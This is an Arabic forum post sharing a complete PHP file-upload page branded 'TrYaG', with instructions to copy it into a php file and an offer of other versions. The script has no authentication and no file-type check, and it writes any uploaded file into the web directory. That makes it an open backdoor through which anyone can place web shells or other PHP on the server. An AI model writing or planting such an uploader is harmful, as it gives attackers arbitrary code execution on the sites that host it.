كود :
<!DOCTYPE html>
<html>
<head>
<title>TrYaG Upload Your Files</title>
</head>
<body>
<form enctype="multipart/form-data" action="" method="POST">
<p>-:: TrYaG Upload Your Files ::-</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
<?PHP
if(!empty($_FILES['uploaded_file']))
{
$path = "";
$path = $path . basename( $_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo "The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
?>
أنسخ الكود هذا كله وأحفظه في ملف php
واذا تبي غيره ابشر